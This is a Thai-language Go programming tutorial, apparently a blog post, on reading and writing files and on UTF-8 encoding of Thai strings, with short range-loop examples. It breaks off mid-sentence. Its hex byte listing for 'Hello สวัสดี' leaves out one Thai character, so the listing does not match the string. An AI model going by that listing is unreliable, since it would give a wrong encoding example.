&#xE43;&#xE19;&#xE1A;&#xE17;&#xE04;&#xE27;&#xE32;&#xE21;&#xE19;&#xE35;&#xE49; &#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE40;&#xE08;&#xE32;&#xE30;&#xE25;&#xE36;&#xE01;&#xE16;&#xE36;&#xE07;&#xE40;&#xE17;&#xE04;&#xE19;&#xE34;&#xE04;&#xE2A;&#xE33;&#xE04;&#xE31;&#xE0D;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE01;&#xE31;&#xE1A;&#xE44;&#xE1F;&#xE25;&#xE4C;&#xE41;&#xE25;&#xE30;&#xE01;&#xE32;&#xE23;&#xE1B;&#xE23;&#xE30;&#xE21;&#xE27;&#xE25;&#xE1C;&#xE25;&#xE41;&#xE1A;&#xE1A;&#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21;&#xE01;&#xE31;&#xE19;&#xE43;&#xE19; Go</p><p>&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE14;&#xE49;&#xE27;&#xE22;&#xE01;&#xE32;&#xE23;&#xE40;&#xE23;&#xE35;&#xE22;&#xE19;&#xE23;&#xE39;&#xE49;&#xE27;&#xE34;&#xE18;&#xE35;&#xE2D;&#xE48;&#xE32;&#xE19;&#xE41;&#xE25;&#xE30;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19;&#xE44;&#xE1F;&#xE25;&#xE4C;&#xE1B;&#xE23;&#xE30;&#xE40;&#xE20;&#xE17;&#xE15;&#xE48;&#xE32;&#xE07; &#xE46; &#xE15;&#xE31;&#xE49;&#xE07;&#xE41;&#xE15;&#xE48; Text File &#xE44;&#xE1B;&#xE08;&#xE19;&#xE16;&#xE36;&#xE07; JSON File &#xE0B;&#xE36;&#xE48;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE17;&#xE31;&#xE01;&#xE29;&#xE30;&#xE1E;&#xE37;&#xE49;&#xE19;&#xE10;&#xE32;&#xE19;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE19;&#xE31;&#xE01;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32; &#xE08;&#xE32;&#xE01;&#xE19;&#xE31;&#xE49;&#xE19;&#xE08;&#xE30;&#xE01;&#xE49;&#xE32;&#xE27;&#xE44;&#xE1B;&#xE2A;&#xE39;&#xE48;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19; Goroutine, Channel &#xE41;&#xE25;&#xE30; WaitGroup &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE20;&#xE32;&#xE1E;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE1B;&#xE23;&#xE30;&#xE21;&#xE27;&#xE25;&#xE1C;&#xE25;&#xE41;&#xE1A;&#xE1A;&#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21;&#xE01;&#xE31;&#xE19;</p><p>&#xE17;&#xE49;&#xE32;&#xE22;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE38;&#xE14; &#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE2A;&#xE33;&#xE23;&#xE27;&#xE08;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE01;&#xE31;&#xE1A;&#xE40;&#xE27;&#xE25;&#xE32; &#xE41;&#xE25;&#xE30; Context &#xE0B;&#xE36;&#xE48;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE2A;&#xE48;&#xE27;&#xE19;&#xE2A;&#xE33;&#xE04;&#xE31;&#xE0D;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32; Application &#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE04;&#xE27;&#xE32;&#xE21;&#xE19;&#xE48;&#xE32;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE16;&#xE37;&#xE2D; &#xE44;&#xE21;&#xE48;&#xE27;&#xE48;&#xE32;&#xE08;&#xE30;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE01;&#xE31;&#xE1A; Timezone &#xE17;&#xE35;&#xE48;&#xE41;&#xE15;&#xE01;&#xE15;&#xE48;&#xE32;&#xE07;&#xE01;&#xE31;&#xE19; &#xE2B;&#xE23;&#xE37;&#xE2D;&#xE01;&#xE32;&#xE23;&#xE04;&#xE27;&#xE1A;&#xE04;&#xE38;&#xE21;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE02;&#xE2D;&#xE07; Function &#xE17;&#xE35;&#xE48;&#xE43;&#xE0A;&#xE49;&#xE40;&#xE27;&#xE25;&#xE32;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE19;&#xE32;&#xE19;</p><p>&#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21;&#xE41;&#xE25;&#xE49;&#xE27;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE22;&#xE31;&#xE07;&#xE17;&#xE35;&#xE48;&#xE08;&#xE30;&#xE22;&#xE01;&#xE23;&#xE30;&#xE14;&#xE31;&#xE1A;&#xE17;&#xE31;&#xE01;&#xE29;&#xE30;&#xE01;&#xE32;&#xE23;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19; Program &#xE14;&#xE49;&#xE27;&#xE22; Go &#xE02;&#xE2D;&#xE07;&#xE04;&#xE38;&#xE13;</p><h2 id="%E0%B8%97%E0%B8%B3%E0%B8%87%E0%B8%B2%E0%B8%99%E0%B8%81%E0%B8%B1%E0%B8%9A-file"><strong><strong>&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE01;&#xE31;&#xE1A; File</strong></strong></h2><p>&#xE01;&#xE32;&#xE23;&#xE40;&#xE23;&#xE35;&#xE22;&#xE19;&#xE23;&#xE39;&#xE49;&#xE27;&#xE34;&#xE18;&#xE35;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE01;&#xE31;&#xE1A;&#xE44;&#xE1F;&#xE25;&#xE4C;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE17;&#xE31;&#xE01;&#xE29;&#xE30;&#xE2A;&#xE33;&#xE04;&#xE31;&#xE0D;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32; Program &#xE17;&#xE35;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE01;&#xE31;&#xE1A;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE08;&#xE23;&#xE34;&#xE07;</p><p>Go &#xE21;&#xE35; Package &quot;os&quot;, &quot;io&quot; &#xE41;&#xE25;&#xE30; &quot;bufio&quot; &#xE43;&#xE2B;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE2D;&#xE48;&#xE32;&#xE19;&#xE41;&#xE25;&#xE30;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19;&#xE44;&#xE1F;&#xE25;&#xE4C; &#xE17;&#xE31;&#xE49;&#xE07;&#xE41;&#xE1A;&#xE1A; Text File, Binary File &#xE41;&#xE25;&#xE30; Structure Data File (&#xE40;&#xE0A;&#xE48;&#xE19; JSON, XML &#xE41;&#xE25;&#xE30; CSV &#xE2F;&#xE25;&#xE2F;)</p><p>&#xE43;&#xE19;&#xE2B;&#xE31;&#xE27;&#xE02;&#xE49;&#xE2D;&#xE19;&#xE35;&#xE49;&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE43;&#xE0A;&#xE49; Function &quot;os.ReadFile()&quot; &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE2D;&#xE48;&#xE32;&#xE19;&#xE44;&#xE1F;&#xE25;&#xE4C; &#xE41;&#xE25;&#xE30; Function &quot;os.WriteFile()&quot; &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19;&#xE44;&#xE1F;&#xE25;&#xE4C;&#xE02;&#xE19;&#xE32;&#xE14;&#xE40;&#xE25;&#xE47;&#xE01;</p><p>Text File &#xE41;&#xE25;&#xE30; Binary File &#xE02;&#xE19;&#xE32;&#xE14;&#xE40;&#xE25;&#xE47;&#xE01; &#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE43;&#xE0A;&#xE49; os.ReadFile() &#xE41;&#xE25;&#xE30; os.WriteFile() &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE2D;&#xE48;&#xE32;&#xE19;&#xE41;&#xE25;&#xE30;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19;&#xE44;&#xE14;&#xE49; &#xE40;&#xE0A;&#xE48;&#xE19;&#xE40;&#xE14;&#xE35;&#xE22;&#xE27;&#xE01;&#xE31;&#xE1A; Structure Data File &#xE04;&#xE23;&#xE31;&#xE1A; &#xE41;&#xE15;&#xE48;&#xE01;&#xE32;&#xE23;&#xE2D;&#xE48;&#xE32;&#xE19;&#xE41;&#xE25;&#xE30;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19; Structure Data File &#xE08;&#xE30;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE21;&#xE35;&#xE02;&#xE31;&#xE49;&#xE19;&#xE15;&#xE2D;&#xE19;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE40;&#xE15;&#xE34;&#xE21;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23; <strong>Parse</strong> &#xE41;&#xE25;&#xE30; <strong>Encode</strong> &#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; &#xE14;&#xE49;&#xE27;&#xE22; Package &#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE40;&#xE0A;&#xE48;&#xE19; encoding/json, encoding/xml &#xE2B;&#xE23;&#xE37;&#xE2D; encoding/csv &#xE01;&#xE48;&#xE2D;&#xE19;</p><p>&#xE42;&#xE14;&#xE22;&#xE17;&#xE31;&#xE49;&#xE07; 2 Function &#xE08;&#xE30;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE40;&#xE23;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE40;&#xE1B;&#xE34;&#xE14;&#xE41;&#xE25;&#xE30;&#xE1B;&#xE34;&#xE14;&#xE44;&#xE1F;&#xE25;&#xE4C;&#xE43;&#xE2B;&#xE49; &#xE2B;&#xE25;&#xE31;&#xE07;&#xE08;&#xE32;&#xE01;&#xE17;&#xE35;&#xE48;<strong>&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE40;&#xE2A;&#xE23;&#xE47;&#xE08; &#xE44;&#xE21;&#xE48;&#xE27;&#xE48;&#xE32;&#xE08;&#xE30;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE40;&#xE2A;&#xE23;&#xE47;&#xE08;&#xE41;&#xE1A;&#xE1A; Success &#xE2B;&#xE23;&#xE37;&#xE2D;&#xE40;&#xE01;&#xE34;&#xE14; Error &#xE44;&#xE1F;&#xE25;&#xE4C;&#xE08;&#xE30;&#xE16;&#xE39;&#xE01;&#xE1B;&#xE34;&#xE14;&#xE42;&#xE14;&#xE22;&#xE2D;&#xE31;&#xE15;&#xE42;&#xE19;&#xE21;&#xE31;&#xE15;&#xE34;</strong></p><p>&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE44;&#xE1F;&#xE25;&#xE4C;&#xE02;&#xE19;&#xE32;&#xE14;&#xE43;&#xE2B;&#xE0D;&#xE48;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE44;&#xE1F;&#xE25;&#xE4C;&#xE17;&#xE35;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE04;&#xE27;&#xE1A;&#xE04;&#xE38;&#xE21;&#xE01;&#xE32;&#xE23;&#xE2D;&#xE48;&#xE32;&#xE19;/&#xE40;&#xE02;&#xE35;&#xE22;&#xE19;&#xE21;&#xE32;&#xE01;&#xE02;&#xE36;&#xE49;&#xE19; &#xE40;&#xE23;&#xE32;&#xE2D;&#xE32;&#xE08;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE43;&#xE0A;&#xE49; Package &quot;bufio&quot; &#xE17;&#xE35;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE40;&#xE23;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE40;&#xE1B;&#xE34;&#xE14;&#xE41;&#xE25;&#xE30;&#xE1B;&#xE34;&#xE14;&#xE44;&#xE1F;&#xE25;&#xE4C;&#xE40;&#xE2D;&#xE07;&#xE23;&#xE48;&#xE27;&#xE21;&#xE14;&#xE49;&#xE27;&#xE22; &#xE40;&#xE1E;&#xE23;&#xE32;&#xE30; os.ReadFile() &#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE40;&#xE14;&#xE35;&#xE22;&#xE27;&#xE08;&#xE30;&#xE2D;&#xE48;&#xE32;&#xE19;&#xE44;&#xE1F;&#xE25;&#xE4C;&#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14;&#xE40;&#xE02;&#xE49;&#xE32;&#xE2B;&#xE19;&#xE48;&#xE27;&#xE22;&#xE04;&#xE27;&#xE32;&#xE21;&#xE08;&#xE33;&#xE43;&#xE19;&#xE04;&#xE23;&#xE31;&#xE49;&#xE07;&#xE40;&#xE14;&#xE35;&#xE22;&#xE27; &#xE0B;&#xE36;&#xE48;&#xE07;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE44;&#xE1F;&#xE25;&#xE4C;&#xE02;&#xE19;&#xE32;&#xE14;&#xE43;&#xE2B;&#xE0D;&#xE48;&#xE2D;&#xE32;&#xE08;&#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE2B;&#xE19;&#xE48;&#xE27;&#xE22;&#xE04;&#xE27;&#xE32;&#xE21;&#xE08;&#xE33;&#xE21;&#xE32;&#xE01;&#xE40;&#xE01;&#xE34;&#xE19;&#xE44;&#xE1B;</p><p>&#xE41;&#xE15;&#xE48;&#xE43;&#xE19;&#xE2B;&#xE31;&#xE27;&#xE02;&#xE49;&#xE2D;&#xE19;&#xE35;&#xE49;&#xE08;&#xE30;&#xE22;&#xE01;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE01;&#xE31;&#xE1A;&#xE44;&#xE1F;&#xE25;&#xE4C;&#xE02;&#xE19;&#xE32;&#xE14;&#xE40;&#xE25;&#xE47;&#xE01; &#xE41;&#xE25;&#xE30;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33; Unit Test &#xE01;&#xE31;&#xE1A;&#xE44;&#xE1F;&#xE25;&#xE4C;&#xE01;&#xE48;&#xE2D;&#xE19; &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE23;&#xE32;&#xE40;&#xE02;&#xE49;&#xE32;&#xE43;&#xE08;&#xE2B;&#xE25;&#xE31;&#xE01;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE33;&#xE04;&#xE31;&#xE0D;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE01;&#xE31;&#xE1A;&#xE44;&#xE1F;&#xE25;&#xE4C;</p><p><strong> Text File</strong></p><p>&#xE42;&#xE14;&#xE22;&#xE17;&#xE31;&#xE48;&#xE27;&#xE44;&#xE1B; &#xE2D;&#xE31;&#xE01;&#xE02;&#xE23;&#xE30;&#xE41;&#xE15;&#xE48;&#xE25;&#xE30;&#xE15;&#xE31;&#xE27;&#xE17;&#xE35;&#xE48;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE43;&#xE19; Text File &#xE08;&#xE30;&#xE16;&#xE39;&#xE01;&#xE40;&#xE02;&#xE49;&#xE32;&#xE23;&#xE2B;&#xE31;&#xE2A; (Encode) &#xE40;&#xE1B;&#xE47;&#xE19; byte &#xE42;&#xE14;&#xE22;&#xE43;&#xE0A;&#xE49;&#xE23;&#xE39;&#xE1B;&#xE41;&#xE1A;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE40;&#xE02;&#xE49;&#xE32;&#xE23;&#xE2B;&#xE31;&#xE2A;&#xE41;&#xE1A;&#xE1A; ASCII &#xE2B;&#xE23;&#xE37;&#xE2D; UTF-8 &#xE0B;&#xE36;&#xE48;&#xE07;&#xE21;&#xE35;&#xE25;&#xE31;&#xE01;&#xE29;&#xE13;&#xE30;&#xE04;&#xE25;&#xE49;&#xE32;&#xE22;&#xE04;&#xE25;&#xE36;&#xE07;&#xE01;&#xE31;&#xE1A;&#xE27;&#xE34;&#xE18;&#xE35;&#xE01;&#xE32;&#xE23;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE43;&#xE19; string &#xE02;&#xE2D;&#xE07; Go</p><p>&#xE2A;&#xE21;&#xE21;&#xE15;&#xE34;&#xE27;&#xE48;&#xE32;&#xE40;&#xE23;&#xE32;&#xE21;&#xE35; string &quot;Hello &#xE2A;&#xE27;&#xE31;&#xE2A;&#xE14;&#xE35;&quot;</p><pre><code>s := &quot;Hello &#xE2A;&#xE27;&#xE31;&#xE2A;&#xE14;&#xE35;&quot;</code></pre><p>Go &#xE08;&#xE30;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE25;&#xE33;&#xE14;&#xE31;&#xE1A;&#xE02;&#xE2D;&#xE07; byte &#xE14;&#xE31;&#xE07;&#xE19;&#xE35;&#xE49;</p><pre><code>48 65 6C  6C 6F 20  E0 B8 AA  E0 B8 A7  E0 B8 B1  E0 B8 94  E0 B8 B5 </code></pre><p>&#xE08;&#xE32;&#xE01;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE19;&#xE35;&#xE49;&#xE2D;&#xE31;&#xE01;&#xE02;&#xE23;&#xE30;&#xE20;&#xE32;&#xE29;&#xE32;&#xE2D;&#xE31;&#xE07;&#xE01;&#xE24;&#xE29;&#xE08;&#xE30;&#xE16;&#xE39;&#xE01; Encode &#xE41;&#xE1A;&#xE1A; ASCII &#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE02;&#xE19;&#xE32;&#xE14; 1 byte &#xE2A;&#xE48;&#xE27;&#xE19;&#xE2D;&#xE31;&#xE01;&#xE02;&#xE23;&#xE30;&#xE20;&#xE32;&#xE29;&#xE32;&#xE44;&#xE17;&#xE22;&#xE08;&#xE30;&#xE16;&#xE39;&#xE01; Encode &#xE41;&#xE1A;&#xE1A; UTF-8 &#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE02;&#xE19;&#xE32;&#xE14; 3 byte </p><p>&#xE20;&#xE32;&#xE29;&#xE32;&#xE44;&#xE17;&#xE22; &#xE20;&#xE32;&#xE29;&#xE32;&#xE0D;&#xE35;&#xE48;&#xE1B;&#xE38;&#xE48;&#xE19; &#xE41;&#xE25;&#xE30;&#xE20;&#xE32;&#xE29;&#xE32;&#xE40;&#xE01;&#xE32;&#xE2B;&#xE25;&#xE35; &#xE2F;&#xE25;&#xE2F; &#xE2D;&#xE22;&#xE39;&#xE48;&#xE43;&#xE19;&#xE01;&#xE25;&#xE38;&#xE48;&#xE21;&#xE20;&#xE32;&#xE29;&#xE32;&#xE17;&#xE35;&#xE48;&#xE08;&#xE30;&#xE16;&#xE39;&#xE01; Encode &#xE41;&#xE1A;&#xE1A; UTF-8 &#xE02;&#xE19;&#xE32;&#xE14; 3 byte &#xE0B;&#xE36;&#xE48;&#xE07; byte &#xE41;&#xE23;&#xE01;&#xE08;&#xE30;&#xE21;&#xE35;&#xE04;&#xE48;&#xE32;&#xE40;&#xE1B;&#xE47;&#xE19; &quot;E0&quot; &#xE02;&#xE13;&#xE30;&#xE17;&#xE35;&#xE48;&#xE2D;&#xE31;&#xE01;&#xE02;&#xE23;&#xE30;&#xE20;&#xE32;&#xE29;&#xE32;&#xE2D;&#xE31;&#xE07;&#xE01;&#xE24;&#xE29; (ASCII) &#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE02;&#xE19;&#xE32;&#xE14;&#xE40;&#xE1E;&#xE35;&#xE22;&#xE07; byte &#xE40;&#xE14;&#xE35;&#xE22;&#xE27; &#xE08;&#xE30;&#xE21;&#xE35;&#xE04;&#xE48;&#xE32;&#xE19;&#xE49;&#xE2D;&#xE22;&#xE01;&#xE27;&#xE48;&#xE32;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE40;&#xE17;&#xE48;&#xE32;&#xE01;&#xE31;&#xE1A; &quot;7F&quot;</p><p>&#xE27;&#xE34;&#xE18;&#xE35;&#xE17;&#xE35;&#xE48;&#xE07;&#xE48;&#xE32;&#xE22;&#xE41;&#xE25;&#xE30;&#xE1B;&#xE25;&#xE2D;&#xE14;&#xE20;&#xE31;&#xE22;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE38;&#xE14;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE40;&#xE02;&#xE49;&#xE32;&#xE16;&#xE36;&#xE07;&#xE2D;&#xE31;&#xE01;&#xE02;&#xE23;&#xE30;&#xE41;&#xE15;&#xE48;&#xE25;&#xE30;&#xE15;&#xE31;&#xE27;&#xE08;&#xE32;&#xE01; string &#xE43;&#xE19; Go &#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE2D;&#xE31;&#xE01;&#xE02;&#xE23;&#xE30;&#xE17;&#xE35;&#xE48;&#xE40;&#xE02;&#xE49;&#xE32;&#xE23;&#xE2B;&#xE31;&#xE2A;&#xE41;&#xE1A;&#xE1A; UTF-8 &#xE1B;&#xE19;&#xE2D;&#xE22;&#xE39;&#xE48;&#xE01;&#xE31;&#xE1A;&#xE2D;&#xE31;&#xE01;&#xE02;&#xE23;&#xE30;&#xE17;&#xE35;&#xE48;&#xE40;&#xE02;&#xE49;&#xE32;&#xE23;&#xE2B;&#xE31;&#xE2A;&#xE41;&#xE1A;&#xE1A; ASCII &#xE04;&#xE37;&#xE2D;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; for...range loop</p><p>&#xE40;&#xE1E;&#xE23;&#xE32;&#xE30; for...range loop &#xE08;&#xE30;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE01;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23; Decode UTF-8 &#xE43;&#xE2B;&#xE49;&#xE42;&#xE14;&#xE22;&#xE2D;&#xE31;&#xE15;&#xE42;&#xE19;&#xE21;&#xE31;&#xE15;&#xE34; &#xE42;&#xE14;&#xE22;&#xE17;&#xE35;&#xE48;&#xE40;&#xE23;&#xE32;&#xE44;&#xE21;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19; Code &#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE40;&#xE15;&#xE34;&#xE21;&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE01;&#xE32;&#xE23;&#xE41;&#xE1A;&#xE48;&#xE07; byte &#xE15;&#xE32;&#xE21;&#xE02;&#xE19;&#xE32;&#xE14;&#xE02;&#xE2D;&#xE07;&#xE2D;&#xE31;&#xE01;&#xE02;&#xE23;&#xE30;&#xE41;&#xE15;&#xE48;&#xE25;&#xE30;&#xE1B;&#xE23;&#xE30;&#xE40;&#xE20;&#xE17;</p><pre><code>s := &quot;Hello &#xE2A;&#xE27;&#xE31;&#xE2A;&#xE14;&#xE35;&quot;

//_ &#xE04;&#xE37;&#xE2D;&#xE15;&#xE31;&#xE27;&#xE41;&#xE1B;&#xE23;&#xE17;&#xE35;&#xE48;&#xE44;&#xE21;&#xE48;&#xE43;&#xE0A;&#xE49; (&#xE43;&#xE19;&#xE17;&#xE35;&#xE48;&#xE19;&#xE35;&#xE49;&#xE04;&#xE37;&#xE2D; index &#xE02;&#xE2D;&#xE07;&#xE41;&#xE15;&#xE48;&#xE25;&#xE30;&#xE2D;&#xE31;&#xE01;&#xE02;&#xE23;&#xE30;)
for _, char := range s {
	fmt.Printf(&quot;%c\n&quot;, char)
}</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-08-03-at-9.52.54-PM.png" class="kg-image" alt loading="lazy" width="1472" height="380" srcset="https://blog.pjjop.org/content/images/size/w600/2024/08/Screenshot-2024-08-03-at-9.52.54-PM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/08/Screenshot-2024-08-03-at-9.52.54-PM.png 1000w, https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-08-03-at-9.52.54-PM.png 1472w" sizes="(min-width: 720px) 720px"></figure><p>&#xE02;&#xE13;&#xE30;&#xE17;&#xE35;&#xE48;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; Index &#xE08;&#xE30;&#xE17;&#xE33;&#xE43;&#xE2B;&#xE49; Go &#xE40;&#xE02;&#xE49;&#xE32;&#xE16;&#xE36;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE17;&#xE35;&#xE25;&#xE30; byte &#xE08;&#xE36;&#xE07;&#xE41;&#xE2A;&#xE14;&#xE07;&#xE44;&#xE14;&#xE49;&#xE40;&#xE09;&#xE1E;&#xE32;&#xE30;&#xE2D;&#xE31;&#xE01;&#xE02;&#xE23;&#xE30;&#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE40;&#xE02;&#xE49;&#xE32;&#xE23;&#xE2B;&#xE31;&#xE2A;&#xE41;&#xE1A;&#xE1A; ASCII</p><pre><code>s := &quot;Hello &#xE2A;&#xE27;&#xE31;&#xE2A;&#xE14;&#xE35;&quot;

for i := 0; i &lt; len(s); i++ {
	fmt.Printf(&quot;%c %X\n&quot;, s[i], s[i])
}</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-08-03-at-9.50.17-PM.png" class="kg-image" alt loading="lazy" width="1490" height="816" srcset="https://blog.pjjop.org/content/images/size/w600/2024/08/Screenshot-2024-08-03-at-9.50.17-PM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/08/Screenshot-2024-08-03-at-9.50.17-PM.png 1000w, https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-08-03-at-9.50.17-PM.png 1490w" sizes="(min-width: 720px) 720px"></figure><p><strong>&#xE2B;&#xE21;&#xE32;&#xE22;&#xE40;&#xE2B;&#xE15;&#xE38;</strong> &#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; index &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE40;&#xE02;&#xE49;&#xE32;&#xE16;&#xE36;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; string &#xE43;&#xE19; UTF-8 &#xE2D;&#xE32;&#xE08;&#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE01;&#xE34;&#xE14;&#xE01;&#xE32;&#xE23;&#xE41;&#xE2A;&#xE14;&#xE07;&#xE1C;&#xE25;&#xE17;&#xE35;&#xE48;&#xE44;&#xE21;&#xE48;&#xE16;&#xE39;&#xE01;&#xE15;&#xE49;&#xE2D;&#xE07; &#xE42;&#xE14;&#xE22;&#xE40;&#xE09;&#xE1E;&#xE32;&#xE30;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE22;&#xE34;&#xE48;&#xE07;&#xE01;&#xE31;&#xE1A;&#xE2D;&#xE31;&#xE01;&#xE02;&#xE23;&#xE30;&#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE2B;&#xE25;&#xE32;&#xE22; byte &#xE40;&#xE0A;&#xE48;&#xE19; &#xE20;&#xE32;&#xE29;&#xE32;&#xE44;&#xE17;&#xE22;</p><p>&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE43;&#xE0A;&#xE49; Function &quot;os.ReadFile()&quot; 